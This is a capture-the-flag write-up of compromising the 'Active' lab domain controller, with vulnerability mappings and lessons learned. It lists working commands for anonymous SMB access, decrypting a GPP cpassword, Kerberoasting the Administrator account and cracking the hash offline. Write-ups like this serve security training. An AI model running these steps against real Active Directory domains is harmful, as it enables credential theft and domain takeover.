Difficulty: Easy
OS: Windows
Date Completed: 2026-10-13
Write-up Authored by: Ian Simons
Challenge Created by: eks & mrb3n8132
Core Competencies:
-
Active Directory Enumeration
-
LDAP Enumeration
-
Kerberos Authentication
-
Password Cracking
Overview
This machine was discovered completely by accident. I had originally planned to complete a different box but accidentally scanned the wrong IP. After spending longer than I would care to admit attacking a web server I was convinced was an Active Directory Domain Controller, I decided to do Active instead. I am really glad I did. It helped break down the perceived complexity I had associated with Active Directory Machines, and demonstrated that successful domain compromise often results from methodical enumeration and chaining of realistic misconfigurations rather than highly complex exploitation techniques.
Vulnerability Summary
| Vulnerability | Vulnerability Classification | CVSS Score | MITRE ATT&CK Technique | ATT&CK Tactic |
|---|---|---|---|---|
| Anonymous Read Access to SMB Share | CWE-276: Incorrect Default Permissions, CWE-862: Missing Authorization | N/A | T1039 - Data from Network Shared Drive | Collection |
| Group Policy Preferences (GPP) Credential Exposure | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor | N/A | T1552.006 - Unsecured Credentials: Group Policy Preferences | Credential Access |
| Kerberoastable Service Account Protected by a Weak Password | CWE-521: Weak Password Requirements | N/A | T1558.003 - Kerberoasting | Credential Access |
| Over Permissioned Service Account | CWE-269: Improper Privilege Management, CWE-272: Least Privilege Violation | N/A | T1078.002 - Valid Accounts: Domain Accounts | Privilege Escalation |
Attack Path Summary
-
Performed Network Reconnaissance with Nmap and identified exposed SMB services on the target
-
Performed SMB enumeration and identified anonymous read access to Replication share
-
While enumerating Replication share, identified a Group Policy Preferences (GPP) credential file Groups.xml. Said file contained a cpassword value associated with the SVC_TGS account
-
Decrypted cpassword value and recovered the password GPPstillStandingStrong2k18
-
Validated recovered credentials and obtained authenticated domain access as SVC_TGS
-
Enumerated Service Principal names (SPNs) and identified a Kerberoastable SPN associated with the Administrator account
-
Requested Ticket Granting Service (TGS) ticket for the Administrator account’s SPN and extracted the associated ticket hash
-
Cracked the associated ticket hash offline, discovering the password Ticketmaster1968
-
Validated Administrator credentials and obtained domain administrator privileges
Reconnaissance
Port Discovery
Nmap Scan Results
# Nmap 7.99 scan initiated Tue Oct 13 12:45:27 2026 as: /usr/lib/nmap/nmap -sC -sV -oA nmap/scan -p- 10.129.83.82
Nmap scan report for 10.129.83.82
Host is up (0.050s latency).
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-13 16:47:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled and required
|_clock-skew: -30s
| smb2-time:
| date: 2026-10-13T16:48:33
|_ start_date: 2026-10-13T16:37:20
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 13 12:49:12 2026 -- 1 IP address (1 host up) scanned in 225.27 seconds
Open Ports and Services
| Port | Service | Version |
|---|---|---|
| 53/tcp | domain | Microsoft DNS 6.1.7601 (1DB15D39) |
| 88/tcp | kerberos-sec | Microsoft Windows Kerberos |
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 389/tcp | ldap | Microsoft Windows Active Directory LDAP |
| 445/tcp | microsoft-ds | None Found |
| 3268/tcp | ldap | Microsoft Windows Active Directory LDAP |
| 3269/tcp | tcpwrapped | None Found |
| 5722/tcp | msrpc | Microsoft Windows RPC |
| 9389/tcp | mc-nmf | .NET Message Framing |
| 47001/tcp | http | Microsoft HTTPAPI httpd 2.0 |
After initial enumeration with Nmap, the target appeared to be a Windows Active Directory Domain Controller based on the presence of Kerberos (88), LDAP (389), DNS 53, SMB (445), and Global Catalog Services (3268). SMB was selected as the initial attack path because file shares in Active Directory environments frequently contain configuration files, logon scripts, and other useful artifacts.
SMB Enumeration
Manual enumeration of SMB using SMBClient revealed the following shares
n00blyfe@htb$ smbclient -L //10.129.83.82/
Password for [WORKGROUP\n00blyfe]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
SMB1 disabled -- no workgroup available
Anonymous access was tested against all shares, and it was found that the Replication share allowed read access for anonymous users. Upon accessing the Replication share, the file Groups.xml was identified. Groups.xml was a GPP credential file which contained an encrypted cpassword value associated with the SVC_TGS account.
Attack Path Analysis
The Replication share exposed a GPP credential file containing a cpassword value associated with the SCV_TGS account. Although the password was encrypted, Microsoft publicly documented the encryption key used by GPP. Because of this, the password was easily decrypted. Successful recovery of the account credentials would provide authenticated domain access and create opportunities for further Active Directory enumeration and privilege escalation.
Initial Access
Vulnerability Details
Description: Anonymous Read Access to SMB Share, Group Policy Preferences (GPP) Credential Exposure
Vulnerability Classification: CWE-276: Incorrect Default Permissions, CWE-862: Missing Authorization, CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CVSS Score(s): N/A
MITRE ATT&CK: T1039 - Data from Network Shared Drive - Collection, T1552.006 - Unsecured Credentials: Group Policy Preferences - Credential Access
Anonymous access to the Replication share exposed a GPP credential file containing a cpassword value associated with a domain account. Because GPP passwords are recoverable using Microsoft’s publicly documented encryption key, the credentials could be extracted and used to obtain authenticated domain access.
Exploitation Steps
-
Connect to the SMB Replication share using SMBClient with anonymous access
-
Download the groups.xml file
-
Use GPP-decrypt to decrypt the password
-
Log in to the SMB Users share to validate credentials
Key Commands / Payloads
# Connect to Replication share
smbclient -N //10.129.83.82/Replication
# download Groups.xml file
get "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml"
# decrypt extracted cpassword string
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
# connect to Users share to validate credentials
smbclient -U "SVC_TGS"%GPPstillStandingStrong2k18 //10.129.83.82/Users
Proof of Access
Screen Shot
Figure 1: Proof of initial access. Successful exploitation of attack path resulted in authenticated domain access to Users share and access to SVC_TGS account’s Desktop
Session Validation Commands
#validate credentials
smbclient -U SVC_TGS%GPPstillStandingStrong2k18 //10.129.83.82/Users
#change directory into SVC_TGS account's Desktop
cd SVC_TGS/Desktop
#list files in SCV_TGS account's Desktop
ls
Privilege Escalation
Vulnerability Details
Description: Kerberoastable Service Account Protected by a Weak Password, Over Permissioned Service Account
Vulnerability Classification: CWE-521: Weak Password Requirements, CWE-269: Improper Privilege Management, CWE-272: Least Privilege Violation
CVSS Score: N/A
MITRE ATT&CK: T1558.003 - Kerberoasting - Credential Access, T1078.002 - Valid Accounts: Domain Accounts - Privilege Escalation
Following initial access, Active Directory accounts were enumerated to identify privileged users with registered SPNs. Enumeration revealed that the Administrator account was configured with a registered SPN, making it a viable Kerberoasting target. Because authenticated domain users can request Kerberos service tickets for accounts with registered SPNs, a TGS ticket was obtained and the associated hash extracted for offline password cracking. Successful recovery of the account password allowed authentication as the Administrator account, resulting in full compromise of the Active Directory domain. Note: flags documented in Appendix B
Privilege Escalation Steps
-
Enumerate all Users with SPNs to identify Kerberoastable targets
-
Identify account Administrator as a Kerberoastable target with Domain Administrator privileges
-
Request a TGS ticket and extract hash
-
Perform offline cracking of extracted hash
-
Validate cracked credentials
Key Commands / Payloads
# Enumerate Kerberoastable accounts
ldapsearch -x -H ldap://10.129.83.82 -D SVC_TGS@active.htb -w GPPstillStandingStrong2k18 -b "dc=active,dc=htb" "(&(objectclass=user)(servicePrincipalName=*))" samaccountname ServicePrincipalname memberof
# Request TGS ticket and extract hash
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request-user Administrator -dc-ip 10.129.83.82 -output hash.txt
# Crack hash
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# Connect to Users share to validate credentials
smbclient -u "Administrator"%Ticketmaster1968 //10.129.83.82/Users
Proof of Privilege Escalation
Screen Shots
Figure 2: Proof of Privilege Escalation. Successful authentication as the Administrator account and access to the Administrator Desktop confirmed elevated privileges within the domain.
Session Validation Commands
#validate credentials
smbclient -U Administrator%Ticketmaster1968 //10.129.83.82/Users
#change directory into Administrator account's Desktop
cd Administrator/Desktop
#list files in Administrator account's Desktop
ls
Lessons Learned
This was my first Active Directory focused machine. I was surprised by how approachable the attack path ultimately proved to be. Active Directory machines are often discussed as being notably more complex than traditional host-based machines, so I expected a much steeper learning curve. While the overall attack chain was longer than those found in the previous standalone machines I have completed, none of the individual steps were particularly difficult. What I enjoyed most about this machine was the realism of the attack path. The vulnerabilities leveraged during exploitation were the types of misconfigurations and weaknesses that could realistically be encountered in a production environment. Rather than relying on contrived hints or artificially placed clues to guide the attacker, each stage of the compromise followed a logical path of enumeration and the discovery of a genuine weakness within the environment. Some key takeaways include:
-
Multiple low-severity vulnerabilities can be just as dangerous as a single critical vulnerability when properly combined into a coherent attack path
-
Thorough enumeration is critical to successful exploitation of any machine, and becomes increasingly more important in an Active Directory environment
-
Temporary workarounds and convenience driven configuration changes often persist far longer than intended, creating opportunities for attackers
Appendix
Appendix A
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port and Service Discovery |
| smbclient | SMB Enumeration and Interaction |
| ldapsearch | Performing LDAP Searches |
| impacket-GetUserSPNs | Requesting TGS Ticket and Extracting Hash |
| hashcat | Hash Cracking |
Appendix B
Flags Found
User Flag:942**************************f50
Root Flag:a0b**************************7e1